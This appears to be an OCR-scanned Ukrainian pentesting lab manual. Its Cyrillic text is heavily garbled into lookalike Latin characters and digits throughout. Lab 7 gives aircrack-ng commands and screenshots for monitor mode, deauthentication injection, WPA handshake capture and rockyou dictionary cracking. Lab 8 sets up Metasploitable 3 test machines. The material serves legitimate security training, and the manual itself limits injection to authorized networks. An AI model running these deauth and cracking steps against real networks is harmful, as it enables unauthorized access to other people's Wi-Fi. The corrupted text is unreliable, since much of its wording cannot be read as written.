Pucynok 7.3 — BuMkHeHHs 1 yBIMKHEHHs aganTepa wlan0
st Toro, 106 nepeBecT 1HTEpPeEic 6e3pOTOBOTO MEPEKEBOTO afanTepa y

PEKHUM MOHITOPY, BHKOHaWTe KOMaHAy sudo airmon-ng start [iM' =
inTepdericy].
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kali@kali: ~
File Actions Edit View Help

~

check kill
Killing these processes:

PID Name
1579 wpa_supplicant

~

start wlan@

PHY Interface Driver Chipset

phy@ wlano@ rtw_8822ce Realtek Semiconductor Co., Ltd.
22CE 802.11ac PCIe Wireless Network Adapter
(monitor mode enabled)

Pucynok 7.4 — IlepeBenenns inrepdericy wlan0 y pexxum MOHITOpY

[Ticns Toro, sik iHTEepdeiic Oyne NEepeBeACHO y PEXKHM MOHITOpa, MHOro
HEOOXiTHO BUKOPUCTATH JJIsl HACTYITHOT'O KPOKY, a caMe — 3amycKy yTuiaita airodump-
Ng, sika T03BOJIUTH MIEPETIISAaTH aKTUBHICTH TOYOK gocTymy (AP, “access point”) ta ix
KOPUCTYBAaYiB y PEAJIbHOMY 4Yaci y 30HI JOCSIKHOCTI O€3[pOTOBOTO MEPEKEBOIO
agantepy. CHHTAKCUC KOMaHAN HACTYITHUM:

- airodump-ng [nmapameTpu] <HazBa l1HTepdency>

[Tpuknag podbotu yTuimiti 300paxeHo Ha PucyHky 7.5.
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File Actions Edit View
CH

AUTH

PSK

WPA2 CCMP
WPA

iPA2

WPA

CCMP
WPA2 CCMP  PSK
WPA PSK
WPA2 CC PSK
WPA2 C PSK
WPA2 CCM PSK
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WPA2 PSK
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Pucynok 7.5 — Ipuxiag pobotu yrumitu airodump-ng

PosrisitHemo mostst BUBOy yTHIIITH (BEPXHIM OJIOK BioOpakae iHdopmaIrito mpo
HasiBHI AP):

— BSSID — MAC-anpeca Touku JOCTYILY;

— PWR — piBeHb curnaity TOYKH JOCTYILY;

— Beacons — koxna Touka moctyny (AP) Hamcunae mpubmmsno 10 beacons-
MaKeTIB B CEKYH[Y, 1100 MOBIIOMHUTH MPO CBOIO MPHUCYTHICTh; SKIIO € CyMHIBU Y
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afexkBaTHOCTI gaHux mojias PWR, To MO)KHa OIIIHUTH PIBEHb CUTHAIIY 3a KIJIBKICTIO
beacons-makeTiB: YuM OLIbIIIE — THM KpaIl[Mii CUTHAT;

— Data — xiIbKICTh MaKeTIB 3 JaHUMHU;

— CH — kanau, Ha sxomy npaiitoe AP,

— MB — mBuakicte, Ha skiii omepye AP: 11-—me uumctuit 802.11b, a
54 —guctuit  802.119, 3HaYeHHS MK HHMH —II¢ 1HII CTaHJAPTH IIBUAKOCTI,
Hampukiazn 801.11n;

— ENC — tun mmdpyBaHHs, 1110 BUKOPUCTOBYE AP;

— ESSID — na3Ba mepexi. [Hoai Ha3By MPUXOBYIOTH JIJIsL TOTO, 00 YHUKHYTH
3aiBMX IMIIKIOYEHb, ajge aifmMon-ng MoKe 3HAWTH TaKy MEpPEeXy 1 BiAMOBITHO
BCTAHOBUTH CTEXEHHS 3a HEIO.

Tenep posrissHEMO HIDKHIN 0JIOK (BiH BigoOpaskae moBeaiHKY KiaieHTiB AP):

— BSSID — MAC-anpeca AP, 3 sikot0 B3aEMOI1€ KITIEHT;

— STATION — MAC-aapeca KITi€HTa;

— PWR — piBens curnaiy;

— Packets — xigbKicTh OTpUMaHHUX MAKETIB 3 JaHUMH,

— Probes — na3Bu Mepeik, 10 AKMX HaMaraBCs MIAKIIOYUTHCS aganTep KIieHTa.

Jani Tpeba 3anucatu Tpadik, IO NPOXOAUTH KPi3b MOHITOP. [IJIsl IbOTO MOKHA
BBECTU KOMaHJy:

- airodump-ng -w local network wlanO

Hexait 3anmuc TpuBae neskuil yac. Komm yci craHmii Ta Kil€HTH OyAyTh
3a(ikcoBaHi, MOXKHA 3yHUHHTH poOoty airodump-ng. daiimu 30epiraroThCs 3a
IIJISIXOM, 3 SIKOT0 OyJia 3amyIieHa KoMaH/a, 3a 3aMoBuyBaHHsM 11e /home/kali.

Ilomo mocmimkenHs BpasauBocted  Wi-Fi  mepex, TO OCHOBHUMH
BPa3MBOCTSAMU MOJKHA BBaXKaTH Te, 110 4Yepe3 OCOOJMBICTH peaiizallii JaHHI, 10
MEePEAAIOTHCS TAKOKO MEPEKEI0, MOXKYTh OyTH 3a(IKCOBAHUMU OYb-SIKHUM MPUCTPOEM
3 0€3IpOTOBMM MEpPEKEBUM 1HTEp(eiicoM, BOHM 3aXMILEHI TUIbKH MIJISIXOM
mupyBaHHs, 1 IXHE TOXOIKEHHS MOK€e OYTH MIIPOOIECHUM.

BpaxoByroun Bullesragate, KO KIIEHT MiIKIIOYAETHCA 10 MEPExKi, MpoIec
aBTeHTH(IKaIliT (YOTUPUCTOPOHHE pyKkocTUcKaHHs, four-way handshake, EAPOL), o
MICTHTB y cO01 XeII mapoJisi, Moke Oyt 3adikcoBanuM anaizatopamu Wi-Fi tpadiky
(y HamoMy BuMaaky — airodump-ng).

[To-mepire, airodump-ng 3a 3aMOBYYBAHHSM JIy’K€ YacTO MEPEKIIOYAETHCS 3
OJIHOTO KaHaJly Ha 1HIIuH, 1100 3adikcyBaTu HaOUIbIIMK AianazoH edipy. s Toro,
11100 CKOHIICHTpYBaTH airodump-ng Ha KOHKPETHY TOYKY JIOCTYITY, HOTPiOHO BKa3aTh
omnuii kanany, BSSID Touku noctymy Ta Micue 30epiranHs pe3yjabTaTy CKaHYBaHHS.
Ile HanamTye mporpamy Ha aHalli3 KOHKPETHHMX IakeTiB Tpadiky, ki OyIyTb
3anucyBaTUCS y 3adaHui ¢ain. g 3amycky MOKHA BUKOPHUCTATH HACTYIHY
KOMaH/y:

- sudo airodump-ng -c <M kaHaay> —--bssid <BSSID TOUKM IOOCTYIIY>
-w <HasBa Obauny> <iHTepderc>
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kali@kali: ~

File Actions Edit View Help

wpPA wlanof]

Pucynox 7.6 — 3amyck airodump-ng ass 3anucy tpadiky, OB’ sS3aHOTO 3 TaHOO
TOYHOIO IOCTYITY

MoskHa YekaTu, TOKU JEXTO CaM MiIKIIOYUTHCS IO TOYKHU IOCTYITY, MPOTE ICHYE
MO>KJTUBICTh BUKOHYBATH 1H’ €KIIit0 Tpadiky. Taki Buau AISIBHOCTI Tpeba BUKOHYBATH
JUIIE Y MEPEKax, IJIsl SIKU BU MAETe BIATOBIIHUM T03B1JI 200 SIKUMU BOJIOJIIETE.

Jns iv’ekiii Tpadiky BHUKOPHCTOBYEThCs 3aci0 aireplay-ng. Bin mosBosisie
BIJIICTIATH TI€BHY KUIBKICTH MOBIIOMJIEHb MOTPIOHOTO THUITY (HANPHUKIIAMA, THCTPYKIIiS
TUTSI BIIKJTFOUCHHS Bl Mepeski) 3 miactaHoBkoro BSSID touku goctymy 3amicts MAC-
aJpecu JyKeperna MOBIIOMJIEHb. B HOBOMY BIKHI TepMiHaIy [JIsl 3alyCKy aTakH
JO0CTaTHHO BBECTH HACTYITHY KOMAHITY:

- sudo aireplay-ng -<0-9 - Tmun arakm> <N nakeris> [-a <BSSID
TOUkKM nJocTyny>] [-c <BSSID kmnieHTa>] <iHTepderc>

File Actions Edit View Help
D4:6E:0QE wlan®
©3:15:42 Waiting for beacon me (BSSID: D4:6E:QE: ) on channel 1
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).
93:15:42 S g DeAuth je 7) to broadcast -—— BSSID: [
to broadcast BSSID:
ith (code 7) to broadcast BSSID:
Auth e 7) to broadcast BSSID: [
to broadcast BSSID: [
to broadcast BSSID:

to broadcast -— BSSID: [
to broadcast -—— BSSID:
to broadcast BSSID: [
to broadcast — BSSID:

7) to broadcast — BSSID:
) to broadcast BSSID:
7) to broadcast -— BSSID:
7) to broadcast BSSID:
broadcast — BSSID:
to broadcast — BSSID:
to broadcast BSSID: [D4
) broadcast BSSID:
Sending DeAuth le 7) to broadcast BSSID:
Sending DeAuth (code 7 broadcast BSSID: [D4:

Pucynox 7.7 — BukoHaHHS iH’ €KIIi1 KOMaH/IU IS BIIKJTFOYSHHS B1J] MEPEXKi
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Merta naHoi araku MOJSTrae B TOMY, IO OUTBLIICTH MPHUCTPOIB HAMArarOThCs
aBTOMATHYHO MiJKJIIOYUTUCS J0 TOYKU JOCTYIy, IO 1 Ja€ HaM 3MOTY 3adikcyBaTu
“xenmmeiik”. Komu BiH Oy/e 3anucanum — y BikHI airodump-ng 3’ sIBUThCSI HACTYITHUIA
sarmuc (Pucynok 7.8). SIkmio y meidl 4Wac iH’€KIis TMPOJOBXKYETHCS —ii BapTo
MPUITUHUTH.

File Actions Edit View Help

Pucynox 7.8 — Airodump-ng 3agikcyBas EAPOL “xenamieik”

OcTaHHIM KpOKOM € BHKOpHCTaHHS camoro aircrack-ng. Ils yrwumita
MpU3HayYeHa Jijisi mepeOopy MaposiiB Ta MOPIBHSIHHS X 3 XelleM, 3alluCaHuM y ¢aiity
Tpadiky. OCHOBHA aTaKa 3a JOHOMOI0I0 aircrack-ng — cIoBHMKOBA aTaka. [i IpUHIUI
MOJIATAK0 y MEePEeBIPIll HAWOLIBII BXXUBAHUX 200 CIIeIiaTbHO CKOMITUTHOBAaHUX HAOOPIB
MapoJIiB.

Y Kali Linux HasBHI MONEepeaHbO 3aBaHTAXKEHI (aiu 3 MOMyJIPHUMHU
aposIsiMH, HaAWOLIBII BIJOMHM 13 HHMX € CIHCOK FOCKYou.txt, mo wmictuth 14 3
MOJIOBUHOIO MUIBHOHIB MapoJiiB. 3a 3aMOBUYYBAHHAM (Dailll 3HAXOIUTHCA B apXiBi 3a
nwsxoMm /usr/share/wordlists/.

3amycTuTH aircrack-ng MoskHa KOMaH1010:

- aircrack-ng -w <mjugax OO CJOBHMKA> <IJIAX OO 3anucy Tpadiky>

[Ipouiec po3apxiByBaHHS Ta BHUKOPHCTaHHS CJIOBHUKA 300pa)K€HO Ha
Pucynky 7.9.

kali@kali: ~

File Actions Edit View Help

~

/usr/share/wordlists/rockyou.txt.gz

/usr/share/wordlists/rockyou.txt WPA-01.capf]

Pucynok 7.9 — PozapxiByBaHHSsI CIOBHHMKA Ta 3amyck aircrack-ng
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Jaii mouHeThes miabip mapois go orpumanoro EAPOL (Pucynok 7.10). Skmo
BiH OyJe 3HalICHWI y JaHOMY CJIOBHHKY — IIe¢ Oy/ie BBOKATHCS BPA3IUBICTIO KIIACy
aBTEHTH(}IKallli, a caMe BUKOPUCTaHHs ciabkoro mapois. Jlo Toro x, mapoib Moxe
HaJaTHU HE TUIBKU JOCTYII O MEPEXI, ajie i MOXKJIUBICTh AemudpyBaHHsa Tpadiky y
1 MEepexi.

kali@kali: ~

File Actions Edit View Help

Aircrack-ng 1.7
[00:00:35] 151682/14344392 keys tested (4357.13 k/
Time left: 54 minutes, 17 seconds

Current passphrase: booger10

Master Key

Transient Key

EAPOL HMAC

Pucynok 7.10 — IIporiec mepebopy mapoJiiB yTuiaiToro aircrack-ng

[Ticns mepebopy BapTO CKOMIIOBaTH YCl 3reHepoBaHi (aiiim Ha OyIb-aKui
Hakomu4yBad (Hampukiaj, ien-kapra, SKI0 Ha Hi HaJalITOBAHUM J0JaTKOBUMN
PO3/1T) Ta TOTIM 3aBAaHTAXKUTH iX Y BIPTyaJIbHYy MAIIUHY.

Cepen 3renepoBaHux HaOOpiB (ailiiB € aABa (aitlyin, ikl HaM 3HaI00JIATHCS 1aji:

— .cap — 3amuc Tpadiky, cymicuuit i3 Wireshark;

— .CSV — CIIMCOK TOYOK JIOCTYIY Ta KJIIEHTIB 3 JIETAIBHOIO 1H()OpPMALIIETO.

Jnsa mouatky mnoOyayemMo rpad, Ha SKOMY [MOKaXeMO 3B’SI3KHM MIXK
3apeECTPOBAHMMH CTAHIISIMU Ta TOYKaMHU JOCTymy. [[ns mporo HaMm mOTPiOHO
3aBaHTaXuTH airgraph-ng:

- sudo apt install airgraph-ng

[Ticns miporo Tpad MoXHA 3a JOTTOMOTOI KOMAH/IH:

- airgraph-ng -i local network.csv -o graph.png -g CAPR

[Tepmmii 3amycKk MOKE TPHUBATH JICKUIbKa XBWJIMH; B PE3yJbTaTi OTPHMYEMO
BianoBiaHe 300paxents (PucyHok 7.11):
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Generated by Airgraph-ng
11 Access Points and
13 Clionts shown

Pucynok 7.11 — I'pad 3B’s3KiB Mi>K TOYKaMH JOCTYITY Ta KIIIEHTaMHU

Mo>kHa MOMITUTH, IO KOKHHUI By30J1 (3€JICHUM IO3HAY€HI TOYKU JOCTYITY)
MicTuTh Taky iH(opmario, sk: BSSID, ESSID, kanan, mmudpyBaHHS Ta dac
peecTparlii.

CrocoBHO .cap ¢aitny, ioro moxxHa Binkputu y Wireshark. B nanomy Bumaaky
Hac IikaBUTh (ailr, y SKOMy 3amucaHi 1H’€KIii Ta Tporec aBTeHTHU]iKaIIii.
BukopucToByIOUM 3HaHHS, OTPUMAaHI MIJ 4Yac MONEpPeAHbOi JabopaTOpHOI, MOXKHA
BindinpTpyBatn EAPOL makeTu 3 makeTamMu BIJKITIOUEHHS BiJl MEPEXK1 Ta BUKOHYBATH
aHaii3 tpadiky (PucyHok 7.12).
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1 e i n Protocol  Len
EAPOL
EAPOL
EAPOL
EAPOL

1 d4 41 31 31
0 38 HaNGWIeT
20 83 07 e9 7f e9 Sf ad ee 73 ce eb fc 42 50 85
v ec b3 53 5c 1b fb 07 cd 14 a4 6¢c 2b 51 67 de 79 X
3f ab 83 9a 97 6b 5a a9 b8 3d be 8d da 2

ngth: 56
a64e721154c1bea03edad208307e97fe95Fadee73ceebfca250856:

® L WPAKey Data (wian_rsna_eapol.keydes.data), 56 bytes Packets: 25542 - Displayed: 4 (0.0%) - Marked: 1(0.0%) | Profile: Default

Pucynok 7.12 — Ananiz EAPOL naxketiB y Wireshark

3aBaaHHA:

— BHMKOPHCTOBYIOUHM KoMmIuiekc Aircrack, mposeaite aHaii3 edipy AP, 110 Bac
OTOYYIOTb;

— 3pOOUTH CKPIHIIOT 3 MpoiecoM podoTu airodump-ng;

— 3reHepyBatH rpad 3i 3B’s3KaMU MK TOUKaMHU JIOCTYIy Ta KI1€EHTAMU,

— BuzHaure AP 3 HallkpanuMm 3B’43KOM Ta KOPHCTYBayiB, $KI MalOTh
HalKparnui 38’5130k 3 AP,

— BU3HAYTE HAWOLIbII AKTUBHUX KOPUCTYBAYiB;

— BHU3HAUTE, 1[0 MOKE BKa3yBaTH Ha TE, III0 BUKOPUCTOBYE XTOCh IEBHY MEPEKY
HE CaHKI[IOHOBaHO a00 HaMaraeThCsi BAKOHATH TIEBHOTO POJY aTaKy;

— copoOyiite Bu3HAuUuTH, AKI AP BHUMHKAIOTBCS KOPHCTyBauaMu 3a iX
BIJICYTHOCTI, a SIKi MpaIlOI0Th [UIOA000BO, HAMPHUKIA[ BUKOPHUCTABIIM KIIOY

-uptinglxbpadeabre gk MiHNeyserprldfdrpy Ha Bamr BuGip, iHpOpPMALiO PO HUX

OTpUMAaNTE 3a IOTIOMOTOI0 KJIF04Ya —help, BKaXITh iX y 3BITI Ta JOJAlTE 10 OMHUCY
CKPIHIIOTH;

— BUKOHAWTE 3amuc Tpadiky OKpeMoi TOUKH OCTYITY Ta i1 KIEHTIB y (aiin 3a
JOTIOMOT 010 KJII04a —w;

— BUKOHAMTE 1H €KIIit0 Tpadiky Ta 3adikcyiiTe makeTu aBTeHTU]IKallii;

— mpoaHaizyiTe 3amnuc Tpadiky 3a momomororo Wireshark:

— HaBeniTh cratuctuky WLAN tpadiky (117151 3aranpHOTO0 3amucy);

— BijoOpa3iTh HalOLIbI akTuBHI MAC-anpecu;

— pojauTe rpadik akKTUBHOCTI (IJ1 3aITUCY 3 1H EKITIEIO);

— BIADUIBTPYITE OKpPEMO MAKETH 1H €KI[IM Ta MaKeTu aBTeHTUIKallii
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JlaGopaTopna podoora Ne 8
Tema: Posropranns pentest-craniii

Merta: OTpumatu HaBUYKM 3 PO3ropTaHHs pentest-cranmiit s Oe3neyHoro
HaBUYaHHS TECTYBaHHIO Ha TIPOHUKHECHHS

TeopernuHni BizomocTi

Jlns Ge3nmeyHoro BUKOHAHHS IMOJAIBIINX J1abOpaTOpHUX POOIT HEOOXI1THO
PO3rOpHYTH poOOUl CTaHIIli, Ha K1 Oyjae 0e3MeYHO BUKOHYBATH BIUIMBH, II0 OyIyTh
OTIHCaHI JaJli.

JInst miArOTOBKM CHEUIANICTIB 3 MPOBEIEHHS TECTIB HAa NPOHUKHEHHS Ta
IIBUILEHHIO IXHBOI KBaNi(iKallil BAKOPUCTOBYIOThCS CIIEL1aIbHI BEPCil OnepariitHux
cucreM — DVL (Damn Vulnerable Linux), DVW (Damn Vulnerable Windows) Tta
DVWA (Damn Vulnerable Web Application).

DVL 3a3Brnyail mommpro0ThCS OE3KOITOBHO, TOMY 1X 3HaYHO JIETIIE IIYKaTH,
Hix DVW. HaiiBigomMimmm mpoeKToM, CIEliaibHO PO3POOJICHUM I TPEHYBaHHS
CIIeIiaTicTiB 3 TeCTyBaHHSA HAa NPOHHKHeHH:, € “Metasploitable”. Moro aBTopoMm €
kommanis Rapid7, ska takoxx po3podmna Metasploit Framework. ITomepemHbo
nommpeHa Bepcis Metasploitable 2 ckiaganmacs 3 ojHiei HaBMHUCHO Bpa3iUBOI
BipTyasibHOi Linux-mamuaum, sika nommwmproBaiacs jume it VMware. CydacHa xk
Bepcis, Metasploitable 3, ckiamaeTscss BogHOYAC 3 JBOX BIPTYaJIbHUX MAIIIHH,
0asoBanux Ha Linux Ubuntu 14.04 ta Windows Server 2008R2 BiamoBsigHo. Jlo Toro
K, 1151 BEpCisi OUIBII peaicTUYHA Ta IMITy€E peaibHi CEpeIOBHUIIA.

Ha BinMminy Big oOpa3y Metasploitable 2, Tpets Bepcist ckiaiaeThes 31 CKPHUITIB
Ta HaJalTyBaHb, SKI OYIyIOTh 3a3Hau€Hl BIPTyaldbHI MalMHU. Bech mpoekT
po3tamoBanuii B odiniiHomy GitHub-peno3uTopii komMmanii  3a  aapecoro
github.com/rapid7/metasploitable3. Po3poOHHMKM TpPONMOHYIOTH TpPH  CIOCOOH
pO3rOpTaHHsI MPOEKTY: BUKOPUCTAHHSA TOTOBUX 00pa3iB, aBTOMaTHUYHA MOOY/I0Ba Ta
pyuHa noOyzaoBa. B ycix BuUmaakax BHKOPUCTOBYEThCS Vagrant — iHCTpyMEHT AJis
OydyBaHHS Ta KepyBaHHS BIPTYalbHHMH CepeoBHIIAMH. Joro HeoOXiaHO
3aBaHTaXXUTH 3 odiriitHoro caity HashiCorp 3a aapecoro vagrantup.com/Downloads.

JIy1st BUKOpUCTaHHS TOTOBUX 00Opa3iB TpeOa BUKOHATH KOMaH/M, 3a3HAYCHI Ha
TOJIOBHIHN cTopiHIli peno3utopito. s Windows tpeba BBeCTH HACTYIHI KOMaHIH Y
tepminaii PowerShell:

— mkdir metasploitable3-workspace

— cd metasploitable3-workspace

— Invoke-WebRequest -Uri
"https://raw.githubusercontent.com/rapid7/metasploitable3/master/V
agrantfile" -OutFile "Vagrantfile"

— vagrant up

e 3amycTuTh 3aBaHTaXKeHHs 00pa3iB 3 perno3uTopiiB Vagrant Cloud, mooyaye
Ta HaJjamTye oOuBi BipTyasbHi Mammau i VirtualBox (Pucynok 8.1).
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Jlis aBTOMaTH4YHOI IMOOYAOBH MOTPIOHO ckioHyBaTH Git-peno3uTopiii Ta
3aIyCTUTH CKPUIIT JJIs1 CTBOPEHHS JIUIIIE MOTPiOHOT BipTyalbHOT MAIIMHHU.

B sixocTi omii mij 9ac py4HOro OyJyBaHHS MOKHA 3a3HAYUTH TiMEPBI30P, IS
sKOro Oyae cTBoproBaTHCh BipTyanbHa Mamiuaa (VirtualBox, VMware abo QEMU).
[TocnimoBHICTE 1M AJ1 IBOTO 3a3HayeHa Ha T'OJIOBHIM CTOPIHII MPOEKTy. B maHomMy
BUIIAJIKY HAC BJAIITOBYE BUKOpUCTaHHs VirtualBoX, ToMy 110 BiH Hajae MOKJIMBICTh
3allyCKaTH JIeKiJIbKa BIPTYyaJIbHMX MAaIIMH OJHOYACHO Ta TMPOCTIIIUN CIOCIO
HaJTAIITYBaHHS MEPEK.

=

Bringing machine 'ubl4@4' up with
Bringing machine 'win2k8' up with
ubl14@4: Importing base box 'ra
ub14@4: Matching MAC address T networking
ub14@4: Checking if box 'rapid7/metasploitable3-ubl484' version '@.1.12-weekly' is up to date...
ubl4@4: Setting the name of the V! Metasploitable3-ubl4e4
ub14@4: Clearing any previously set network interfaces...
ubl4@4: Preparing network interfaces based on configuration...
ubl404: Adapter 1: nat
ubl404: Adapter 2: hostonly
> ubl484: Forwarding p
ubl4@4: 22 (guest) ( ) (adapter 1)
> ubl484: Running ' ot' VM customizations...
> ubl484: Booting B
> ub14@4: Waiting for machine to boot. This may take a few minutes...
: H address: 127.0.0.1:2222 |
H username: v

|
Wonononnn
VVVVVY

O T

: rning: Connecti r . Retrying...
ubl404:
ubl14@4: Inserting generated public key within guest...
ub1404: ing insecure key from the guest if it's present...
ubl4@4: K nserted! Disconnecting and reconnecting using new SSH key...

> ubl404: Machine booted and ready!

> ubl4@4: Checking for guest additions in VM...
ubl4@4: No guest additions were detected on the base box for this VM! Guest
ub14@4: additions are required for forwarded ports, shared folde host only
ub14@4: networking, and more. If SSH fails on this machine, please install
ub14@4: the guest additions and repackage the box to continue.
ubl404:
ubl404: This is not an error message; everything may continue to work properly,
ubl4@4: in which case you may ignore this message.

: Setting hostname...
: Configuring and enabling network interfaces...

k8: Importing base box 'rapid7/metasploitable3-win2k3'...

8: Matching MAC address for networking
: Checking if box 'rapid etasploitable3-win2k8' v ion '©.1.0-weekly' is up to date...
: Setting the name of the V table3-workspace_win2k8_1677358346401_22802
: Fixed port collision i . Now on port 2200.

Now on port 2201.

o nn

WoHnonon N

200 (host) (adapter 1)
1 ( adapter 1)
) (adapter 1)
(adapter 1)
> win2k8: Running 'pre-boot' VM mizations...

Pucynok 8.1 — CTBOpeHHs Ta HaJIaIUTYyBaHHS BIPTyaJIbHUX MaIllMH 32 JJOTIOMOT'O10
Vagrant

Hani Tpeda Bigkputu VirtualBox Ta 3amycTuTi HOBI BipTyaiabHI MaliuHK (BOHU
MOXXYTh OYTH BXKE 3aIlyIIEHWMH, SIKIIO TPAIIOITh B PEKHUMI cepBepa — B TAKOMY
BUIIAJIKY 3aMICTh 3allyCKy OyJe 3almponoHOBaHO BinoOpa3utu ix). s 06ox cucrem
Ii¥cH1 Takl 0OJIIKOBI J1aHi:

— KopucTyBay:  vagrant
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— TapOJIb: vagrant

BaxxnmuBo mepeBiputn IP-aapecn kokHOi 3 HUX. Y MaHOMY BHUITAIKy BOHHU
HaJIeKaTh pisHEM MepexaM (Pucynok 8.2, 8.3).

owerShell
Copyright (C> 2816 Microsoft Corporation. All rights reserved.

PS C:\Users\vagrant> ipconfig

Windows IP Configuration

BdEthernet adapter Local Area Connection 2:

Connection-specific

Link-local IPu6 Addwe Scaa:a3e2:6022:h58a%14
IPv4 Address .56.4

Subnet M 55.255.0

Default Gatew

Ethernet adapter Local Area Connection:

Connection—specific DNS Suffix
Link-local IPv6 Add .
1Pu4 Addre

Subnet M.

Default Gateway

Tunnel adapter isatap.{SFCB95E9-CC56-4BSA-ADD6-SFB8D5D@ABC2C) :

Media State : Media disconnected
Connectiol ecific DNS Suffix

Tunnel adapter isatap.(AAB9E?3F-E3BO-4133-840C-E9DICS4EFSE6) :
Media State . . : Media disconnected

Connec n-specific DNS Suffix
\vagrant>

POBG

@@ G@F  ®rotc

Pucynok 8.2 — IP-angpeca Windows-mammiau
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RX bytes:11925 (119.2 KB) 1108944 (108.9 KB)

Link enc thernet HWaddr 08 §
inet add 8.12 Bc 1172.28. 255..299,295 .0
inet6 addr . a00:27ff :fele :
UP BROADCAST RUNNIN
“kets

colli
RX by 3124 (8.1 KB)

Link enca ocal Loopback

inet addr .0.0.1 Mask:

inet6 addr 1,128 Scope

UP LOOPBAC RUNNING HMTU 36 Metric:1
5056 errors:0 dropped:0 overrun
5056 errors:0 dropped:0 overruns:0 carrie
0 txqueuelen:0

RX bytes:1941809 9 MB) TX bytes:1941809 (1.9 MB)

vagrant@netasploitable3-ub1404:~$

B« E@E  @riontcr

Pucynok 8.3 — IP-anpeca Linux-mamuHu

B Linux-mammHi 3a 3aMOBYyBaHHSM BCTaHOBJIeHa cratuuHa |P-ampeca
172.28.128.3, i nns uei VirtualBox cteoproe okpemy Mepexy. i naHoi Mepexki Tpeda
nHanamryBatu DHCP-cepBep, a came 3amycTutu HOTO Ta 3MIHUTH HIDKHIO Mexy IP-

anpec, 1mo0 3amo0IrTd HaKJIaJaHHIO aJpec 3 XOCTOM 31 CTaTUYHOIO aJpecarli€ro
(Pucynok 8.4).

¥# Oracle VM VirtualBox Manager — m} X
File Machine Network Help
) " = =
Lﬁ\j Tools e | weicome llr' |
fperties
= ] T Netw s
= Kali (Snapshot 1) Extensions NAT Networks Cloud Networks
O Ruming Pv4Prefix  IPvGPrefix  DHCP Server
C}| Media thernet Adapter 192.168.56.1/24 Enabled
= Metasploitable3-ub1404 ernet Adﬁter =2 172.28.128. 1‘24 Enabled

& Running -
E_‘ﬁd Network
(&3] metasploitable3-workspace_win2k8_16...
& Running 4 J Cloud
& Activities

Adapter DHCP Server
—_—
Enable Server
—
Server Address: |172.28.128.2

Server Mask: |255.255.255.0

Lower Address Bound: |172.28.128.4
P

Upper Address Bound: |172.28.128.254

Pucynok 8.4 — HanamryBanHs BipTyanbHOi Mepexi y VirtualBox
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Hanmi Tpeba sk OCHOBHY BipTyaslibHy MammHy, Tak 1 Windows-mamunHy
npuegHaTH 10 Mepexki Linux-mamuau. s 1iporo oOMBI MalllMHUA MaloTh OyTH
BUMKHEHMMHU. B HamamTyBaHHSX BipTyaibHOI Maiuau B po3aiai “Network” tpeba
aKTUBYBATH JIpYruil ajanrep, y noii “Attached to” oopatu “Host-only Adapter”. V
noji “Name” Oyze aBa agantepa Ha BHOip — oOpaTH HajamroBanuii (Pucynok 8.5).

‘&_‘,’;

g General
System
! Display
| @ Storage

| auo

| r-ﬂ Network

Network

Adapter 1 Adapter 2 Adapter 3 Adapter 4

Enable Network Adapter
—

Attached to: Host-only Adapter v
v

Name: VirtualBox Host-Only Ethernet Adapter #2

P Advanced ‘

Pucynox 8.5 — [ligknrodenns BipTyanpHOi MammHu 10 HOSt-only mepexi

[Ticns 3aBaHTa)XEHHS CUCTEMM BIJIKPUHTE TEpMiHAI Ta BBEIITh KOMaHIY

“sudoedit

/etc/network/interfaces”. 3MiHITh (ailn Tak, mEO HOro 3MicT

BI/IMIOBIJIaB JAHOMY:

# The loopback network interface
auto lo
iface lo inet loopback

# NAT

auto ethO

inet ethO inet dhcp
# Host-only

auto ethl

iface ethl inet dhcp

[lepezanycTiTh cHCTEMY Ta 3a JOMOMOTOI KOMaHIU “ifconfig” abo “ip
addr” BIEBHIThCA, 110 yci iHTepdericu otpumanu IP-aapecy (PucyHok 8.6).
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kali@kali: ~

File Actions Edit View Help

ethd: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.0.2.15 netmask 255.255.255.0 broadcast 10.0.2.255
inet6 fe80::a00:27ff:feeb:3ea8 prefixlen 64 scopeid 0x20<link>
ether 08:00:27:eb:3e:a8 txqueuelen 1000 (Ethernet)
RX packets 1 bytes 590 (590.0 B)
RX errors @ dropped @ overruns @ frame 0
TX packets 21 bytes 3046 (2.9 KiB)
TX errors @ dropped @ overruns @ carrier @ collisions 0

ethl: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.28.128.6 netmask 255.255.255.0 broadcast 172.28.128.255
inet6 fe80::a00:27ff:fe71:1160 prefixlen 64 scopeid 0x20<link>
ether 08:00:27:71:11:60 txqueuelen 1000 (Ethernet)
RX packets 38 bytes 7076 (6.9 KiB)
RX errors © dropped @ overruns @ frame 0
TX packets 40 bytes 5310 (5.1 KiB)
TX errors @ dropped @ overruns @ carrier @ collisions @

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid @0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 4 bytes 240 (240.0 B)
RX errors @ dropped @ overruns @ frame 0
TX packets 4 bytes 240 (240.0 B)
TX errors @ dropped @ overruns @ carrier @ collisions @

Pucynox 8.6 — HanamtyBanus MepexeBUx 1HTEPQEHCIB BIpTyaIbHOI MAIlIMHA

3aBaaHHA:
— 3aBaHTAXHUTHU Ta 3aIyCTHTH OOMJIBI BipTyanbHi Marmau Metasploitable 3;

— BUKOHATH HaJIAIITYBAHHS BIPTYaJbHUX MEPEKEBUX aJIalTEPIB;

— OomMcaTH HaNAIITyBaHHA MEPEXKEBUX aJanTepiB Ta OOIPYHTYBATH BHUOIp
iXHBOTO PEKUMY pOOOTH (HAaTH y 3BITI);

— JIOJIaTH Y 3BIT CKPIHIIOTH KJIIOUOBUX MOMEHTIB POOOTH;

— JIOAATH Yy 3BIT CKPIHIIOTH, SIKI MIATBEPKYIOTh 3B SI30K MK yciMa XOCTaMHU
(CKpIHIIOTH 3 HAJAIITYBAHHSAMHU MEPEXl Yy BCIX CHUCTEMax, pe3yJbTaT TpacyBaHHS
3’e€HAHHS cucTeMoto i ayauTy Ib 3 pentest-craniisimm);

— OIKCATH yCl HOMUJIKH, [0 TPAIMIIKCH ITi] YaC BUKOHAHHS 3aB/1aHb (0COOJIMBO
M1J] 4ac 3ayCKy BipTyaJIbHUX MAIlIMH) Ta HAJAATH CIIOCOOU 1X BUPIIIICHHS.
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JlaGopaTopHna podoora Ne 9

Tema: ITinroroBka no podoru Metasploit ta PostgreSQL

Mera: HaBuutncs HanamroByBatu 3’ eqHanas Metasploit 3 PostgreSQL
